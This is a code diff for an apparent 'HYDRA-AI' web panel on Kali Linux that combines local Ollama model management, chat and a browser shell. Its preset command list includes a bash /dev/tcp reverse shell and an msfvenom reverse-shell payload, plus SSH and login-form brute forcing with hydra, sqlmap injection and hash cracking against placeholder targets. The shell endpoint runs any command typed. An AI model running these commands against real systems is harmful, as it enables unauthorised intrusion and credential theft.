+          <button class="cat-btn active" onclick="switchCat(this,'system')">⚙ SYSTEM</button>
+          <button class="cat-btn" onclick="switchCat(this,'recon')">🔍 RECON</button>
+          <button class="cat-btn" onclick="switchCat(this,'web')">🌐 WEB</button>
+          <button class="cat-btn" onclick="switchCat(this,'network')">📡 NETWORK</button>
+          <button class="cat-btn" onclick="switchCat(this,'exploit')">💥 EXPLOIT</button>
+          <button class="cat-btn" onclick="switchCat(this,'password')">🔑 PASSWORD</button>
+          <button class="cat-btn" onclick="switchCat(this,'forensics')">🔬 FORENSICS</button>
+          <button class="cat-btn" onclick="switchCat(this,'ollama')">🦙 OLLAMA</button>
         </div>
+        <div class="qcmds" id="qcmds"></div>
+        <div class="shell-bar">
+          <div class="shell-in-wrap">
+            <span class="sprmt">$&nbsp;</span>
+            <input id="shell-in" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/>
           </div>
           <button class="run-btn" id="run-btn" onclick="runShell()">▶ RUN</button>
           <button class="kill-btn" id="kill-btn" onclick="killShell()">■ KILL</button>
+          <button class="abtn s" style="font-size:10px;padding:5px 9px" onclick="clearShell()">CLR</button>
         </div>
+        <div id="shell-out"><div class="s-empty">// AWAITING COMMAND</div></div>
       </div>
       <!-- ── MODELS ── -->
       <div class="panel" id="models-panel">
+        <div class="ph">
+          <div class="ph-title">MODEL <em>MANAGER</em></div>
+          <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="loadModels()">↻ REFRESH</button>
         </div>
+        <div class="models-body">
+          <div class="pull-box">
+            <div class="pull-box-title">PULL NEW MODEL</div>
+            <div class="pull-row">
+              <input id="pull-in" type="text" placeholder="e.g. hydra-ai, tinyllama, phi3, mistral"/>
+              <button class="abtn p" onclick="pullModel()">⬇ PULL</button>
             </div>
+            <div class="popular" id="popular">
+              <span class="qc" onclick="setPull('hydra-ai')">hydra-ai</span>
+              <span class="qc" onclick="setPull('NeuralNexusLab/HacKing')">HacKing</span>
+              <span class="qc" onclick="setPull('qwen3.5:0.8b')">qwen3.5:0.8b</span>
+              <span class="qc" onclick="setPull('tinyllama')">tinyllama</span>
+              <span class="qc" onclick="setPull('phi3')">phi3</span>
+              <span class="qc" onclick="setPull('mistral')">mistral</span>
+              <span class="qc" onclick="setPull('deepseek-r1:7b')">deepseek-r1:7b</span>
             </div>
           </div>
+          <div class="prog-box" id="prog-box">
+            <div class="prog-lbl" id="prog-lbl">Pulling...</div>
+            <div class="prog-track"><div class="prog-fill" id="prog-fill"></div></div>
+            <div class="prog-stat" id="prog-stat">Initializing...</div>
           </div>
+          <div class="mgrid" id="mgrid"><div class="no-m">LOADING MODELS...</div></div>
         </div>
       </div>
       <!-- ── LOGS ── -->
       <div class="panel" id="logs-panel">
+        <div class="ph">
+          <div class="ph-title">SYSTEM <em>LOGS</em></div>
+          <button class="abtn s" style="font-size:10px;padding:4px 9px" onclick="clearLogs()">CLEAR</button>
         </div>
+        <div id="log-out">
+          <div class="ll info"><span class="lts">[INIT]</span> HYDRA-AI control interface online</div>
         </div>
       </div>
+    </div><!-- /panels -->
+  </div><!-- /main -->
+</div><!-- /app -->
 <div id="toast"></div>
 <script>
+const BASE = window.location.origin;
 let currentModel = '';
+let shellCtrl = null;
 let shellRunning = false;
+let shellHist = [];
+let shellHIdx = -1;
+// ── UTILS ────────────────────────────────────────────
+function log(msg, type='info'){
+  const el=document.getElementById('log-out');
+  const ts=new Date().toLocaleTimeString('en',{hour12:false});
+  const d=document.createElement('div');
+  d.className='ll '+type;
+  d.innerHTML=`<span class="lts">[${ts}]</span> ${msg}`;
+  el.appendChild(d);
+  el.scrollTop=el.scrollHeight;
+}
+function toast(msg,type=''){
+  const t=document.getElementById('toast');
+  const d=document.createElement('div');
+  d.className='ti '+(type==='error'?'e':type==='ok'?'ok':'');
+  d.textContent=msg;
+  t.appendChild(d);
+  setTimeout(()=>d.remove(),3000);
+}
+function clearLogs(){document.getElementById('log-out').innerHTML='';}
+function fmt(b){if(!b)return '';const g=b/1e9;return g>=1?g.toFixed(1)+'GB':(b/1e6).toFixed(0)+'MB';}
+function hhmm(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'});}
+// ── TABS ─────────────────────────────────────────────
+document.querySelectorAll('.tbtn').forEach(btn=>{
   btn.addEventListener('click',()=>{
+    const tab=btn.dataset.tab;
+    document.querySelectorAll('.tbtn').forEach(b=>b.classList.remove('active'));
     document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
     btn.classList.add('active');
     document.getElementById(tab+'-panel').classList.add('active');
   });
 });
+// ── STATUS ───────────────────────────────────────────
+async function checkStatus(){
+  try{
+    const r=await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
     if(r.ok){
+      document.getElementById('dot').classList.add('on');
+      document.getElementById('stxt').textContent='ONLINE';
+      await loadModels(true);
     }
+  }catch(e){
+    document.getElementById('dot').classList.remove('on');
+    document.getElementById('stxt').textContent='OFFLINE';
     log('Server unreachable: '+e.message,'error');
   }
 }
+// ── MODELS ───────────────────────────────────────────
+async function loadModels(silent=false){
+  try{
+    const r=await fetch(`${BASE}/api/tags`);
+    const data=await r.json();
+    const models=data.models||[];
+    // Update select
+    const sel=document.getElementById('gmodel');
+    const prev=sel.value;
+    sel.innerHTML='<option value="">— select —</option>';
     models.forEach(m=>{
+      const o=document.createElement('option');
+      o.value=m.name;o.textContent=m.name;
       sel.appendChild(o);
     });
+    if(prev) sel.value=prev;
+    // Update grid
+    const grid=document.getElementById('mgrid');
     if(!models.length){
+      grid.innerHTML='<div class="no-m">NO MODELS — PULL ONE ABOVE</div>';
       return;
     }
+    grid.innerHTML=models.map(m=>`
+      <div class="mcard ${currentModel===m.name?'active':''}">
+        <div class="mname">${m.name}</div>
+        <div class="mmeta">
           <span>💾 ${fmt(m.size)}</span>
           ${m.details?.parameter_size?`<span>🔢 ${m.details.parameter_size}</span>`:''}
           ${m.details?.quantization_level?`<span>⚡ ${m.details.quantization_level}</span>`:''}
         </div>
+        <div class="mbtns">
+          <button class="mbtn u" onclick="selectModel('${m.name}')">USE</button>
+          <button class="mbtn d" onclick="deleteModel('${m.name}')">DELETE</button>
         </div>
       </div>`).join('');
+    if(!silent) log(`Loaded ${models.length} models`,'ok');
+  }catch(e){
+    if(!silent) log('Models error: '+e.message,'error');
   }
 }
 function selectModel(name){
+  currentModel=name;
+  document.getElementById('gmodel').value=name;
+  document.getElementById('chat-badge').textContent=name;
+  toast('▶ '+name,'ok');
+  log('Model → '+name,'ok');
   loadModels(true);
 }
+document.getElementById('gmodel').addEventListener('change',function(){
   if(this.value) selectModel(this.value);
 });
 async function deleteModel(name){
+  if(!confirm(`Delete "${name}"?`)) return;
+  try{
     await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
     toast('Deleted: '+name,'error');
+    log('Deleted: '+name,'warn');
     loadModels();
+    if(currentModel===name){currentModel='';document.getElementById('gmodel').value='';}
+  }catch(e){toast('Delete failed','error');}
 }
+function setPull(name){document.getElementById('pull-in').value=name;}
 async function pullModel(){
+  const name=document.getElementById('pull-in').value.trim();
+  if(!name){toast('Enter model name','error');return;}
+  const pb=document.getElementById('prog-box');
+  const fill=document.getElementById('prog-fill');
+  const stat=document.getElementById('prog-stat');
+  const lbl=document.getElementById('prog-lbl');
+  pb.classList.add('show');
+  lbl.textContent='Pulling: '+name;
+  fill.style.width='0%';stat.textContent='Starting...';
+  log('Pulling: '+name,'info');
+  try{
+    const r=await fetch(`${BASE}/api/pull`,{
       method:'POST',headers:{'Content-Type':'application/json'},
       body:JSON.stringify({name})
     });
+    const reader=r.body.getReader();
+    const dec=new TextDecoder();
     let buf='';
     while(true){
       const {done,value}=await reader.read();
       if(done) break;
       buf+=dec.decode(value,{stream:true});
+      const lines=buf.split('\n');buf=lines.pop();
       for(const line of lines){
         if(!line.trim()) continue;
         try{
           const d=JSON.parse(line);
+          stat.textContent=d.status||'...';
+          if(d.total&&d.completed) fill.style.width=Math.round(d.completed/d.total*100)+'%';
         }catch(e){}
       }
     }
+    pb.classList.remove('show');
+    toast('✓ Pulled: '+name,'ok');
+    log('Pull complete: '+name,'ok');
+    document.getElementById('pull-in').value='';
     loadModels();
+  }catch(e){
+    pb.classList.remove('show');
+    toast('Pull failed','error');log('Pull error: '+e.message,'error');
   }
 }
+document.getElementById('pull-in').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel();});
+// ── CHAT ─────────────────────────────────────────────
 function clearChat(){
+  const m=document.getElementById('chat-msgs');
+  m.innerHTML='<div class="chat-empty" id="chat-empty"><div class="big">HYDRA</div><div class="sub">SELECT A MODEL — BEGIN OPERATION</div></div>';
   log('Chat cleared');
 }
+function addMsg(role, text, streaming=false){
   const empty=document.getElementById('chat-empty');
   if(empty) empty.remove();
+  const msgs=document.getElementById('chat-msgs');
   const wrap=document.createElement('div');
+  wrap.className='msg '+role;
   const av=document.createElement('div');
+  av.className='av';
   av.textContent=role==='user'?'YOU':'AI';
   const bub=document.createElement('div');
+  bub.className='bubble'+(streaming?' streaming':'');
   bub.textContent=text;
+  const t=document.createElement('div');
+  t.className='mtime';t.textContent=hhmm();
   const inner=document.createElement('div');
+  inner.appendChild(bub);inner.appendChild(t);
+  wrap.appendChild(av);wrap.appendChild(inner);
   msgs.appendChild(wrap);
   msgs.scrollTop=msgs.scrollHeight;
   return bub;
 }
 async function sendChat(){
+  const input=document.getElementById('chat-in');
   const text=input.value.trim();
   if(!text) return;
   if(!currentModel){toast('Select a model first','error');return;}
+  input.value='';input.style.height='';
   document.getElementById('send-btn').disabled=true;
+  log(`Chat → ${currentModel}: "${text.slice(0,50)}"`,'info');
+  addMsg('user', text);
+  const bubble=addMsg('ai','',true);
+  let full='';
+  try{
+    // app.py /api/chat with "message" key streams plain text
     const r=await fetch(`${BASE}/api/chat`,{
+      method:'POST',
+      headers:{'Content-Type':'application/json'},
+      body:JSON.stringify({model:currentModel, message:text, stream:true})
     });
+    if(!r.ok) throw new Error('HTTP '+r.status);
     const reader=r.body.getReader();
     const dec=new TextDecoder();
     while(true){
       const {done,value}=await reader.read();
       if(done) break;
+      // app.py streams raw text tokens — append directly, no JSON parsing
+      const chunk=dec.decode(value,{stream:true});
+      full+=chunk;
+      bubble.textContent=full;
+      document.getElementById('chat-msgs').scrollTop=9999;
     }
     bubble.classList.remove('streaming');
+    log(`Response: ${full.length} chars`,'ok');
+  }catch(e){
+    bubble.textContent='[ERROR] '+e.message;
     bubble.classList.remove('streaming');
+    bubble.style.color='var(--accent2)';
     log('Chat error: '+e.message,'error');
+    toast('Chat failed','error');
   }
   document.getElementById('send-btn').disabled=false;
   input.focus();
 }
+const chatIn=document.getElementById('chat-in');
+chatIn.addEventListener('keydown',e=>{if(e.key==='Enter'&&!e.shiftKey){e.preventDefault();sendChat();}});
+chatIn.addEventListener('input',function(){this.style.height='auto';this.style.height=Math.min(this.scrollHeight,120)+'px';});
+// ── SHELL ─────────────────────────────────────────────
+function clearShell(){document.getElementById('shell-out').innerHTML='<div class="s-empty">// CLEARED</div>';}
+function setCmd(cmd){document.getElementById('shell-in').value=cmd;document.getElementById('shell-in').focus();}
+function addShellLine(text,cls=''){
+  const out=document.getElementById('shell-out');
+  const p=out.querySelector('.s-empty');if(p)p.remove();
+  const d=document.createElement('div');
+  if(cls) d.className=cls;
+  d.textContent=text;
+  out.appendChild(d);
   out.scrollTop=out.scrollHeight;
 }
 async function runShell(){
+  const inp=document.getElementById('shell-in');
+  const cmd=inp.value.trim();
   if(!cmd||shellRunning) return;
+  shellHist.unshift(cmd);shellHIdx=-1;
+  inp.value='';
   shellRunning=true;
+  shellCtrl=new AbortController();
   document.getElementById('run-btn').disabled=true;
+  document.getElementById('kill-btn').classList.add('show');
+  addShellLine('$ '+cmd,'s-echo');
+  log('Shell: '+cmd,'info');
+  try{
     const r=await fetch(`${BASE}/shell`,{
       method:'POST',
       headers:{'Content-Type':'application/json'},
       body:JSON.stringify({cmd}),
+      signal:shellCtrl.signal
     });
     const reader=r.body.getReader();
     const dec=new TextDecoder();
     let buf='';
     while(true){
       const {done,value}=await reader.read();
       if(done) break;
       buf+=dec.decode(value,{stream:true});
+      const lines=buf.split('\n');buf=lines.pop();
+      for(const line of lines) addShellLine(line);
     }
+    if(buf) addShellLine(buf);
+    addShellLine('[done]','s-exit0');
+    log('Shell done','ok');
+  }catch(e){
     if(e.name!=='AbortError'){
+      addShellLine('[error] '+e.message,'s-exit1');
       log('Shell error: '+e.message,'error');
+    }else{
+      addShellLine('[killed]','s-exit1');
     }
   }
+  shellRunning=false;shellCtrl=null;
   document.getElementById('run-btn').disabled=false;
+  document.getElementById('kill-btn').classList.remove('show');
+  inp.focus();
 }
 function killShell(){
+  if(shellCtrl){shellCtrl.abort();toast('Killed','error');log('Shell killed','warn');}
 }
+document.getElementById('shell-in').addEventListener('keydown',e=>{
   if(e.key==='Enter'){runShell();return;}
+  if(e.key==='ArrowUp'){e.preventDefault();if(shellHIdx<shellHist.length-1){shellHIdx++;e.target.value=shellHist[shellHIdx]||'';}}
+  if(e.key==='ArrowDown'){e.preventDefault();if(shellHIdx>0){shellHIdx--;e.target.value=shellHist[shellHIdx]||'';}else{shellHIdx=-1;e.target.value='';}}
 });
+// ── KALI CMDS ─────────────────────────────────────────
+const KCMDS={
+  system:[
+    {l:'uname -a',         c:'uname -a'},
+    {l:'os-release',       c:'cat /etc/os-release'},
+    {l:'kali version',     c:'cat /etc/kali_version 2>/dev/null || lsb_release -a'},
+    {l:'tools list',       c:"dpkg -l | grep -E 'nmap|hydra|sqlmap|metasploit|john|aircrack|nikto|dirb|gobuster|wfuzz' | awk '{print $2, $3}'"},
+    {l:'df -h',            c:'df -h'},
+    {l:'free -h',          c:'free -h'},
+    {l:'ps top',           c:'ps aux --sort=-%cpu | head -20'},
+    {l:'ip addr',          c:'ip addr show'},
+    {l:'whoami',           c:'whoami && id'},
+    {l:'env',              c:'env | sort'},
+    {l:'nvidia-smi',       c:'nvidia-smi'},
+    {l:'uptime',           c:'uptime'},
   ],
+  recon:[
+    {l:'nmap -sV',         c:'nmap -sV -sC --open TARGET_IP'},
+    {l:'nmap full',        c:'nmap -p- -T4 TARGET_IP'},
+    {l:'nmap vuln',        c:'nmap --script=vuln TARGET_IP'},
+    {l:'nmap OS',          c:'nmap -O TARGET_IP'},
+    {l:'dnsrecon',         c:'dnsrecon -d TARGET_DOMAIN'},
+    {l:'dnsenum',          c:'dnsenum TARGET_DOMAIN'},
+    {l:'fierce',           c:'fierce --domain TARGET_DOMAIN'},
+    {l:'theHarvester',     c:'theHarvester -d TARGET_DOMAIN -b all'},
+    {l:'whois',            c:'whois TARGET_DOMAIN'},
+    {l:'dig any',          c:'dig TARGET_DOMAIN ANY +noall +answer'},
+    {l:'amass enum',       c:'amass enum -d TARGET_DOMAIN'},
   ],
+  web:[
+    {l:'nikto',            c:'nikto -h http://TARGET_IP'},
+    {l:'gobuster dir',     c:'gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt'},
+    {l:'dirb',             c:'dirb http://TARGET_IP /usr/share/wordlists/dirb/common.txt'},
+    {l:'sqlmap GET',       c:"sqlmap -u 'http://TARGET_IP/page?id=1' --dbs --batch"},
+    {l:'sqlmap POST',      c:"sqlmap -u 'http://TARGET_IP/login' --data='user=a&pass=b' --dbs --batch"},
+    {l:'wfuzz',            c:'wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://TARGET_IP/FUZZ'},
+    {l:'ffuf',             c:'ffuf -u http://TARGET_IP/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301'},
+    {l:'whatweb',          c:'whatweb http://TARGET_IP'},
+    {l:'curl headers',     c:'curl -I http://TARGET_IP'},
+    {l:'wordlists',        c:'ls /usr/share/wordlists/'},
   ],
+  network:[
+    {l:'netstat',          c:'ss -tulnp'},
+    {l:'arp scan',         c:'arp-scan --localnet'},
+    {l:'tcpdump',          c:'tcpdump -i any -c 20 -n'},
+    {l:'netdiscover',      c:'netdiscover -r 192.168.1.0/24 -P | head -30'},
+    {l:'masscan',          c:'masscan -p1-65535 TARGET_IP --rate=1000'},
+    {l:'traceroute',       c:'traceroute TARGET_IP'},
+    {l:'nc listen',        c:'nc -lvnp 4444'},
+    {l:'tshark',           c:'tshark -i any -c 50'},
+    {l:'ip route',         c:'ip route show'},
   ],
+  exploit:[
+    {l:'msfconsole',       c:'msfconsole -q -x "version; exit"'},
+    {l:'searchsploit',     c:'searchsploit apache 2.4'},
+    {l:'msfvenom shell',   c:'msfvenom -p linux/x86/shell_reverse_tcp LHOST=LHOST_IP LPORT=4444 -f elf -o /tmp/shell.elf'},
+    {l:'suid bins',        c:'find / -perm -u=s -type f 2>/dev/null'},
+    {l:'sudo -l',          c:'sudo -l 2>/dev/null'},
+    {l:'crontab',          c:'cat /etc/crontab && ls /etc/cron*'},
+    {l:'linpeas dl',       c:'curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh'},
+    {l:'pspy dl',          c:'curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64'},
+    {l:'bash revshell',    c:'echo "bash -i >& /dev/tcp/LHOST_IP/4444 0>&1"'},
   ],
+  password:[
+    {l:'john',             c:'john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash.txt'},
+    {l:'hashcat md5',      c:'hashcat -m 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
+    {l:'hashcat ntlm',     c:'hashcat -m 1000 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force'},
+    {l:'hydra ssh',        c:'hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP'},
+    {l:'hydra http',       c:"hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form 'TARGET_IP/login:user=^USER^&pass=^PASS^:Invalid'"},
+    {l:'rockyou.txt',      c:'ls -lh /usr/share/wordlists/rockyou.txt* && gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null; echo done'},
+    {l:'identify hash',    c:'echo "PASTE_HASH" | hash-identifier 2>/dev/null || hashid PASTE_HASH'},
+    {l:'crunch',           c:'crunch 8 8 abcdef0123456789 -o /tmp/custom.txt'},
   ],
+  forensics:[
+    {l:'file check',       c:'file /tmp/*'},
+    {l:'strings',          c:'strings /tmp/TARGET_FILE | head -50'},
+    {l:'xxd',              c:'xxd /tmp/TARGET_FILE | head -30'},
+    {l:'binwalk',          c:'binwalk /tmp/TARGET_FILE'},
+    {l:'binwalk extract',  c:'binwalk -e /tmp/TARGET_FILE'},
+    {l:'exiftool',         c:'exiftool /tmp/TARGET_FILE'},
+    {l:'steghide',         c:'steghide info /tmp/TARGET_FILE'},
+    {l:'foremost',         c:'foremost -i /tmp/TARGET_FILE -o /tmp/out'},
+    {l:'tcpdump read',     c:'tcpdump -r /tmp/TARGET.pcap | head -30'},
+    {l:'dmesg',            c:'dmesg | tail -30'},
   ],
+  ollama:[
+    {l:'list models',      c:'ollama list'},
+    {l:'ollama ps',        c:'ollama ps'},
+    {l:'ollama version',   c:'ollama version'},
+    {l:'api health',       c:'curl -s http://localhost:11434/ && echo'},
+    {l:'api tags',         c:'curl -s http://localhost:11434/api/tags | python3 -m json.tool'},
+    {l:'disk usage',       c:'du -sh ~/.ollama/models/ 2>/dev/null'},
+    {l:'gpu info',         c:'nvidia-smi 2>/dev/null || echo "No GPU"'},
+    {l:'pull tinyllama',   c:'ollama pull tinyllama'},
+    {l:'pull phi3',        c:'ollama pull phi3'},
+    {l:'run hydra-ai',     c:'ollama run hydra-ai "Who are you?"'},
   ],
 };
+function switchCat(btn,cat){
+  document.querySelectorAll('.cat-btn').forEach(b=>b.classList.remove('active'));
   btn.classList.add('active');
+  renderQcmds(cat);
 }
+function renderQcmds(cat){
+  const cmds=KCMDS[cat]||[];
+  document.getElementById('qcmds').innerHTML=
+    cmds.map(c=>`<span class="qc" title="${c.c}" onclick="setCmd(${JSON.stringify(c.c)})">${c.l}</span>`).join('');
 }
+// ── INIT ─────────────────────────────────────────────
 checkStatus();
+setInterval(checkStatus,30000);
+renderQcmds('system');
 </script>
 </body>
+</html>